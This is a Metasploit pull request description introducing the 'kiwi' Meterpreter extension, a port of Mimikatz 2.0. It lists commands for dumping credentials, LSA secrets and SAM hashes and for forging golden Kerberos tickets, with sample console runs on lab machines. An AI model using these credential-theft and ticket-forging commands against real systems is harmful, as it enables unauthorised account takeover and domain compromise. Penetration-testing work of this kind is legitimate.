The new kiwi extension (mimikatz 2.0)

This PR contains the metasploit code which exposes the features in the new Meterpreter extension called **kiwi**, which encompasses Mimikatz 2.0 functionality created by Ben Delpy.

The Meterpreter side of the PR is located here: https://github.com/rapid7/meterpreter/pull/79

## Why Kiwi?

The original Mimikatz works just fine and manages to target quite a few platforms. In the updated version of Mimikatz, Ben had to drop support for the older platforms because the new stuff relies on API functions which don't exist in the older operating systems.

Rather than completely replace the mimikatz extension with this new functionaily (and hence lose support for older platforms), we decided to create a new extension which can sit alongside the existing one that contains features for the newer operating systems. We have called this `kiwi` because this is the same as what Ben himself chose as a name for this release of Mimikatz. This extension is targeted at all Windows operating systems that are up to date with service packs. Some of the features might work on older operating systems or SP versions, but at this time i'm not sure which.

## A note on the UI

When `kiwi` is loaded the UI shows the following:

```
meterpreter > use kiwi 
Loading extension kiwi...

  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.
```

This banner has been included to give credit to the original author for his hard work on Mimikatz v2.0.

## Features

The features that have been enabled so far are:

```
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Attempt to retrieve all credentials
    creds_kerberos         Attempt to retrieve Kerberos creds
    creds_livessp          Attempt to retrieve LiveSSP creds
    creds_msv              Attempt to retrieve LM/NTLM creds (hashes)
    creds_ssp              Attempt to retrieve SSP creds
    creds_tspkg            Attempt to retrieve TsPkg creds
    creds_wdigest          Attempt to retrieve WDigest creds
    golden_ticket_create   Attempt to create a golden kerberos ticket
    kerberos_ticket_list   Attempt to list all kerberos tickets
    kerberos_ticket_purge  Attempt to purege any in-use kerberos tickets
    kerberos_ticket_use    Attempt to use a kerberos ticket
    lsa_dump               Attempt to dump LSA secrets

```

* The `creds_*` commands are the same as the original counterparts in the mimikatz extension, and dump in memory credentials (but in a nicer way).
* The `golden_ticket_create` command allows for the creation of the magic golden kerberos ticket which doesn't expire for ages. This ticket can be applied to sessions at other times.
* The `kerberos_ticket_use` command can take a dumped kerberos ticket (such as the golden ticket) and apply it to the current session.
* The `kerberos_ticket_purge` command removes all _applied_ kerberos tickets from the current session.
* The `kerberos_ticket_list` command dumps all the kerberos tickets that it can, and optionally writes them to disk on the attacker's machine.
* The `lsa_dump` command dumps all the LSA secrets from the target machine.

There are others that will be exposed over time, but before the PR gets any bigger (and before I finish my time with R7) this needs to get in. The goal was to have at least feature parity with the existing extension, but having a few more features is definitely a nice thing to have.

Here's a short sample run:

The `lsa_dump` command:
```
meterpreter > lsa_dump 
[+] Running as SYSTEM
[*] Dumping LSA secrets
Policy Subsystem : 1.7
Domain/Computer  : OJ-75E3B8CC9475
System Key       : d584f214c9f28f448d1cf3f40df19337
NT5 Key          : <redacted hash>

NT6 Key Count    : 0

Secret Count     : 9

 1. Name         : 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantAccount
 1. Current      : <redacted password>

 2. Name         : 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantSID
 2. Current      : 01 05 00 00 00 00 00 05 15 00 00 00 d9 31 f8 42 2f d5 ec 6d 07 e5 3b 2b e8 03 00 00

 3. Name         : DefaultPassword
 3. Current      : <redacted password>
 3. Old          : <redacted password>

 4. Name         : DPAPI_SYSTEM
 4. Current      : 01 00 00 00 62 8b e5 1a 6e 69 e6 94 97 b2 7b 5b a9 e9 da 9f f3 85 3d 3b 7f 04 65 40 31 de 1c af 93 21 e6 0d 0c 84 54 e2 04 5e bb 14

 5. Name         : G${ED8F4747-E13D-47bc-856B-5CEFE1A81A7F}
 5. Current      : 64 78 91 da 86 ca de 46 aa c7 c7 31 02 36 39 d8

 6. Name         : L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75
 6. Current      : 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 01 00 01 00 0d e9 86 6a e7 8d 7c 9a 63 6c d3 00 84 0e 63 06 42 f6 0d 7b 72 c5 ed 1c b6 55 a4 e1 8b d4 27 dc a3 48 0c 79 e8 6b b4 ba 9a fc 63 5b 0f 55 1b d3 85 9a 3e a4 85 f0 14 bb 6c cd 46 d2 b4 de 27 d4 00 00 00 00 00 00 00 00 91 8b 24 89 bd 12 6a a3 69 a7 27 5e 06 ae de 00 a2 3f f9 6d 5b a5 0d 2a 4a 20 46 68 49 bf 84 f1 00 00 00 00 bd 6f 88 dd dc a1 b9 b0 b5 ac 96 e0 2f b0 62 9f 44 22 c0 5c ad 38 f3 bb 59 a4 43 8d 1f 69 e0 e0 00 00 00 00 d1 23 af f2 a7 94 66 3a 0e d7 ca cf 16 01 8e 37 7f 22 a2 d0 a0 8c f4 85 90 76 38 f8 42 f1 06 b1 00 00 00 00 91 80 77 30 ce 97 59 e3 2f f0 bc dd c7 05 a6 ce 92 b1 50 f5 b7 b8 fb 22 1c bf 46 67 e6 d1 64 0c 00 00 00 00 58 4b cf 43 6d 8b 7f 3a ec f2 3a a7 00 78 c0 19 4a cf 99 48 99 7d 91 c0 63 4f e4 81 44 3d 1e 2b 00 00 00 00 01 15 b6 52 0c 18 48 85 9c 49 98 b6 03 e6 c2 00 a4 06 7d f3 ac c4 8d 23 e3 e4 66 46 2c 04 58 b2 90 9e d4 5c c3 17 e9 22 eb 02 18 55 72 7a 88 a5 19 18 8a 7a f9 b3 9f 24 bc 5b 64 ea c8 32 aa 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

 7. Name         : L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
 7. Current      : 80 61 56 b2 11 d9 ce 01

 8. Name         : L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A}
 8. Current      : ff e2 fd c6 f9 34 65 2b f8 cb ce ea e9 d7 97 6d 89 a6 15 9b 2b 2d ed 46 ad 54 41 71 43 a4 75 a5 7a 59 b9 67 bb d9 50 0a 06 7b b2 02 c4 70 10 76 b3 b9 e7 27 d8 2f e9 27
 8. Old          : ff e2 fd c6 f9 34 65 2b f8 cb ce ea e9 d7 97 6d 89 a6 15 28 6a 4d 52 d8 5c 18 84 4c 4a ab 48 87 f2 1f 3d e4 14 47 6d 17 80 6a 13 06 08 e8 24 04 71 9b ce 59 fe 0c de 16

 9. Name         : NL$KM
 9. Current      : c4 14 61 c3 61 ab ba 37 df 4b 23 83 f7 dd b4 25 04 ce 82 c2 28 74 2c 8d f4 a7 cb df 16 19 5c 1a 8d 72 11 24 08 bb ca ee cd 16 ca cb 39 99 93 d2 35 ba 2a 10 0c d8 ec f4 16 76 ff 1c e6 bc b6 00

SAM Key Count    : 4

 1. RID          : 500
 1. User         : Administrator
 1. LM Hash      : <redacted hash>
 1. NTLM Hash    : <redacted hash>

 2. RID          : 1000
 2. User         : HelpAssistant
 2. LM Hash      : <redacted hash>
 2. NTLM Hash    : <redacted hash>

 3. RID          : 1002
 3. User         : SUPPORT_388945a0
 3. NTLM Hash    : <redacted hash>

 4. RID          : 1005
 4. User         : alice
 4. LM Hash      : <redacted hash>
 4. NTLM Hash    : <redacted hash>
```

The `kerberos_ticket_list` command (scroll right):
```
meterpreter > kerberos_list -e -p /tmp

Kerberos Tickets
================

Server                                                Client                        Start                   End                     Max Renew               Flags                                                           Export Path
------                                                ------                        -----                   ---                     ---------               -----                                                           -----------
GC/oj-ymwi36tqjzs0.pwn.local/pwn.local @ PWN.LOCAL    oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 02:13:49.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-GC-oj-ymwi36tqjzs0.pwn.local-pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-TgcfmPDc.tkt
LDAP/oj-ymwi36tqjzs0.pwn.local/PWNDC @ PWN.LOCAL      oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 02:15:21.00  2014-03-19 12:14:08.00  2014-03-26 02:14:08.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-LDAP-oj-ymwi36tqjzs0.pwn.local-PWNDC-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-BYCknrkC.tkt
LDAP/oj-ymwi36tqjzs0.pwn.local/pwn.local @ PWN.LOCAL  oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 01:59:42.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-LDAP-oj-ymwi36tqjzs0.pwn.local-pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-cRqmvXbl.tkt
OJ-YMWI36TQJZS0$ @ PWN.LOCAL                          oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 02:00:22.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-OJ-YMWI36TQJZS0--@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-SjIbiVTT.tkt
cifs/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL            oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 02:00:21.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-cifs-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-JnAfoccb.tkt
host/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL            oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 01:59:19.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-host-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-WSzjNgOK.tkt
krbtgt/PWN.LOCAL @ PWN.LOCAL                          oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 02:14:08.00  2014-03-19 12:14:08.00  2014-03-26 02:14:08.00  40e00000 (PRE AUTHENT, INITIAL, RENEWABLE, FORWARDABLE)         /tmp/kerb-krbtgt-PWN.LOCAL-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-OIfzzzZh.tkt
krbtgt/PWN.LOCAL @ PWN.LOCAL                          oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 01:59:19.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  60a00000 (PRE AUTHENT, RENEWABLE, FORWARDED, FORWARDABLE)       /tmp/kerb-krbtgt-PWN.LOCAL-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-TaKgZwfo.tkt
ldap/OJ-YMWI36TQJZS0 @ PWN.LOCAL                      oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 01:59:19.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-ldap-OJ-YMWI36TQJZS0-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-oSptUyLx.tkt
ldap/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL            oj-ymwi36tqjzs0$ @ PWN.LOCAL  2014-03-19 01:59:42.00  2014-03-19 11:59:19.00  2014-03-26 01:59:19.00  40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE)  /tmp/kerb-ldap-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-JKJFkbap.tkt

Total Tickets : 10
```

The `creds_all` command:
```
meterpreter > creds_all 
[+] Running as SYSTEM
[*] Retrieving all credentials
all credentials
===============

Domain           User              Password  Auth Id     LM Hash                         NTLM Hash
------           ----              --------  -------     -------                         ---------
WIN-KM66F94HDLL  OJ                          0 ; 269718  921988ba001dc8e14a3b108f3fa6cb  e19ccf75ee54e06b06a5907af13cef
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269718                                  
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269718                                  
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269718                                  
WIN-KM66F94HDLL  OJ                          0 ; 269680  921988ba001dc8e14a3b108f3fa6cb  e19ccf75ee54e06b06a5907af13cef
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269680                                  
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269680                                  
WIN-KM66F94HDLL  OJ                P@ssw0rd  0 ; 269680                                  
WORKGROUP        WIN-KM66F94HDLL$            0 ; 996                                     
WORKGROUP        win-km66f94hdll$            0 ; 996                                     
WORKGROUP        WIN-KM66F94HDLL$            0 ; 999                                     
WORKGROUP        win-km66f94hdll$            0 ; 999                                   
```

I don't have a proper kerberos domain set up so I can't really test the golden ticket thing. However, @mubix has tested this in the past and said that it appeared to work well for him, so I hope this will continue to be the case for you guys.

Feedback greatly appreciated!